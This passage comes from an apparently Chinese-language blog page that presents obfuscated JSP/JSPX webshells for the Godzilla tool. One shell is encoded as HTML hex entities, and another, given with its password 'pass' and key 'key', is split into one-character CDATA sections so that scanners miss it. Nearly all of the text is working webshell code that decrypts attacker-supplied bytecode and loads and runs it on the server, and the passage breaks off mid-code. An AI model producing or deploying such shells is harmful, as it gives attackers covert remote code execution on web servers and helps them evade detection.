2;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x7d;&amp;#x7d;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x3b;&amp;#x20;&amp;#x7d;&amp;#x20;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x74;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x44;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x28;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x29;&amp;#x20;&amp;#x74;&amp;#x68;&amp;#x72;&amp;#x6f;&amp;#x77;&amp;#x73;&amp;#x20;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x7b;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3b;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x3b;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x20;&amp;#x7b;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3d;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x2e;&amp;#x66;&amp;#x6f;&amp;#x72;&amp;#x4e;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x75;&amp;#x74;&amp;#x69;&amp;#x6c;&amp;#x2e;&amp;#x42;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x20;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x44;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x29;&amp;#x3b;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x28;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x29;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x2e;&amp;#x63;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3d;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x2e;&amp;#x66;&amp;#x6f;&amp;#x72;&amp;#x4e;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x73;&amp;#x75;&amp;#x6e;&amp;#x2e;&amp;#x6d;&amp;#x69;&amp;#x73;&amp;#x63;&amp;#x2e;&amp;#x42;&amp;#x41;&amp;#x53;&amp;#x45;&amp;#x36;&amp;#x34;&amp;#x44;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x20;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2e;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x49;&amp;#x6e;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x6e;&amp;#x63;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x28;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x29;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x42;&amp;#x75;&amp;#x66;&amp;#x66;&amp;#x65;&amp;#x72;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x2e;&amp;#x63;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x64;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x32;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x7d;&amp;#x7d;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x3b;&amp;#x20;&amp;#x7d;&lt;/jsp:declaration&gt;&lt;jsp:scriptlet&gt;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x7b;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x61;&amp;#x3d;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x44;&amp;#x65;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x28;&amp;#x72;&amp;#x65;&amp;#x71;&amp;#x75;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x50;&amp;#x61;&amp;#x72;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x74;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x70;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x61;&amp;#x3d;&amp;#x78;&amp;#x28;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x61;&amp;#x2c;&amp;#x20;&amp;#x66;&amp;#x61;&amp;#x6c;&amp;#x73;&amp;#x65;&amp;#x29;&amp;#x3b;&amp;#x69;&amp;#x66;&amp;#x20;&amp;#x28;&amp;#x73;&amp;#x65;&amp;#x73;&amp;#x73;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x41;&amp;#x74;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x62;&amp;#x75;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x70;&amp;#x61;&amp;#x79;&amp;#x6c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x22;&amp;#x29;&amp;#x3d;&amp;#x3d;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x29;&amp;#x7b;&amp;#x73;&amp;#x65;&amp;#x73;&amp;#x73;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x2e;&amp;#x73;&amp;#x65;&amp;#x74;&amp;#x41;&amp;#x74;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x62;&amp;#x75;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x70;&amp;#x61;&amp;#x79;&amp;#x6c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x22;&amp;#x2c;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x58;&amp;#x28;&amp;#x74;&amp;#x68;&amp;#x69;&amp;#x73;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x4c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x29;&amp;#x29;&amp;#x2e;&amp;#x51;&amp;#x28;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x61;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x65;&amp;#x6c;&amp;#x73;&amp;#x65;&amp;#x7b;&amp;#x72;&amp;#x65;&amp;#x71;&amp;#x75;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x2e;&amp;#x73;&amp;#x65;&amp;#x74;&amp;#x41;&amp;#x74;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x62;&amp;#x75;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x70;&amp;#x61;&amp;#x72;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x74;&amp;#x65;&amp;#x72;&amp;#x73;&amp;#x22;&amp;#x2c;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x61;&amp;#x29;&amp;#x3b;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x69;&amp;#x6f;&amp;#x2e;&amp;#x42;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x41;&amp;#x72;&amp;#x72;&amp;#x61;&amp;#x79;&amp;#x4f;&amp;#x75;&amp;#x74;&amp;#x70;&amp;#x75;&amp;#x74;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x65;&amp;#x61;&amp;#x6d;&amp;#x20;&amp;#x61;&amp;#x72;&amp;#x72;&amp;#x4f;&amp;#x75;&amp;#x74;&amp;#x3d;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x69;&amp;#x6f;&amp;#x2e;&amp;#x42;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x41;&amp;#x72;&amp;#x72;&amp;#x61;&amp;#x79;&amp;#x4f;&amp;#x75;&amp;#x74;&amp;#x70;&amp;#x75;&amp;#x74;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x65;&amp;#x61;&amp;#x6d;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x20;&amp;#x66;&amp;#x3d;&amp;#x28;&amp;#x28;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x29;&amp;#x73;&amp;#x65;&amp;#x73;&amp;#x73;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x41;&amp;#x74;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x62;&amp;#x75;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x70;&amp;#x61;&amp;#x79;&amp;#x6c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x22;&amp;#x29;&amp;#x29;&amp;#x2e;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x49;&amp;#x6e;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x6e;&amp;#x63;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x66;&amp;#x2e;&amp;#x65;&amp;#x71;&amp;#x75;&amp;#x61;&amp;#x6c;&amp;#x73;&amp;#x28;&amp;#x61;&amp;#x72;&amp;#x72;&amp;#x4f;&amp;#x75;&amp;#x74;&amp;#x29;&amp;#x3b;&amp;#x66;&amp;#x2e;&amp;#x65;&amp;#x71;&amp;#x75;&amp;#x61;&amp;#x6c;&amp;#x73;&amp;#x28;&amp;#x70;&amp;#x61;&amp;#x67;&amp;#x65;&amp;#x43;&amp;#x6f;&amp;#x6e;&amp;#x74;&amp;#x65;&amp;#x78;&amp;#x74;&amp;#x29;&amp;#x3b;&amp;#x72;&amp;#x65;&amp;#x73;&amp;#x70;&amp;#x6f;&amp;#x6e;&amp;#x73;&amp;#x65;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x57;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x77;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x6d;&amp;#x64;&amp;#x35;&amp;#x2e;&amp;#x73;&amp;#x75;&amp;#x62;&amp;#x73;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x28;&amp;#x30;&amp;#x2c;&amp;#x31;&amp;#x36;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x66;&amp;#x2e;&amp;#x74;&amp;#x6f;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x72;&amp;#x65;&amp;#x73;&amp;#x70;&amp;#x6f;&amp;#x6e;&amp;#x73;&amp;#x65;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x57;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x77;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x28;&amp;#x78;&amp;#x28;&amp;#x61;&amp;#x72;&amp;#x72;&amp;#x4f;&amp;#x75;&amp;#x74;&amp;#x2e;&amp;#x74;&amp;#x6f;&amp;#x42;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x41;&amp;#x72;&amp;#x72;&amp;#x61;&amp;#x79;&amp;#x28;&amp;#x29;&amp;#x2c;&amp;#x20;&amp;#x74;&amp;#x72;&amp;#x75;&amp;#x65;&amp;#x29;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x72;&amp;#x65;&amp;#x73;&amp;#x70;&amp;#x6f;&amp;#x6e;&amp;#x73;&amp;#x65;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x57;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x77;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x6d;&amp;#x64;&amp;#x35;&amp;#x2e;&amp;#x73;&amp;#x75;&amp;#x62;&amp;#x73;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x28;&amp;#x31;&amp;#x36;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x7d;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x29;&amp;#x7b;&amp;#x7d;&lt;/jsp:scriptlet&gt;&lt;/jsp:root&gt;</span><br></pre></td></tr></table></figure>



<h2 id="CDATA"><a href="#CDATA" class="headerlink" title="CDATA"></a>CDATA</h2><h3 id="哥斯拉-2"><a href="#哥斯拉-2" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉，密码pass，密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;&lt;jsp:root xmlns:jsp=<span class="string">&quot;http://java.sun.com/JSP/Page&quot;</span> version=<span class="string">&quot;1.2&quot;</span>&gt;&lt;jsp:declaration&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[3]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[6]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[0]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[8]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[9]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[1]]&gt;&lt;![CDATA[5]]&gt;&lt;![CDATA[2]]&gt;&lt;![CDATA[2]]&gt;&lt;![CDATA[4]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[<span class="number">5</span>]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[<span class="number">5</span>]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[+]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[X]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[L]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[X]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[L]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[z]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[z]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[Q]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[<span class="number">0</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ 